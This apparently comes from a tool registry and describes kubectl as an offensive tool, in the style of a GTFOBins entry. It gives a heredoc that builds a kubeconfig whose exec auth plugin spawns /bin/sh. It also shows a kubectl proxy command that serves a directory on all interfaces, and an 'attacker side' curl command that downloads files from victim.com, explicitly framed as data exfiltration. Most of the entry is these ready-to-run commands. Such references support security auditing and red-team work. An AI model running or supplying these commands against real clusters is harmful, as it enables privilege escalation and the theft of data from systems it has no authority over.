Kubernetes command-line tool that can spawn shells via exec auth config and serve files via proxy.
kubectl {kubeconfig} {proxy} {address} {port} {www} {www-prefix} 📎 kubeconfig 📎 proxy 📎 address 📎 port 📎 www 📎 www-prefix kubectl {kubeconfig} {proxy} {address} {port} {www} {www-prefix}Sandbox: execFile · Timeout: 60s
security.privilege-escalation.shell network.transfer.upload orchestration.kubernetes.manage | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
kubeconfig | file | No | - | Path to kubeconfig file | --kubeconfig |
proxy | string | No | - | Run proxy | proxy |
address | string | No | - | Proxy listen address | --address |
port | integer | No | - | Proxy listen port | --port |
www | string | No | - | Directory to serve | --www |
www-prefix | string | No | - | URL prefix for served files | --www-prefix |
Inputs
orchestration.kubeconfig Path to kubeconfig
Outputs
process.output Shell output
process_spawn Produces
process.outputConsumes
orchestration.kubeconfig| Resource | Value |
|---|---|
| CPU | low |
| Memory | 32 MB |
| Network | medium |
| Disk I/O | low |
Spawn shell via crafted kubeconfig with exec auth plugin
cat >/path/to/temp-file <<EOF
clusters:
- cluster:
server: https://x
name: x
contexts:
- context:
cluster: x
user: x
name: x
current-context: x
users:
- name: x
user:
exec:
apiVersion: client.authentication.k8s.io/v1
interactiveMode: Always
command: /bin/sh
args:
- '-c'
- '/bin/sh 0<&2 1>&2'
EOF
kubectl get pods --kubeconfig=/path/to/temp-fileServe directory via HTTP for file upload
kubectl proxy --address=0.0.0.0 --port=12345 --www=/path/to/dir/ --www-prefix=/x/Download files from kubectl HTTP server (attacker side)
curl victim.com:12345/x/path/to/input-file -o /path/to/output-filekubectl manages Kubernetes clusters. It can spawn a privileged shell via a crafted kubeconfig file with an exec-based authentication plugin, and serve files via the proxy subcommand for data exfiltration.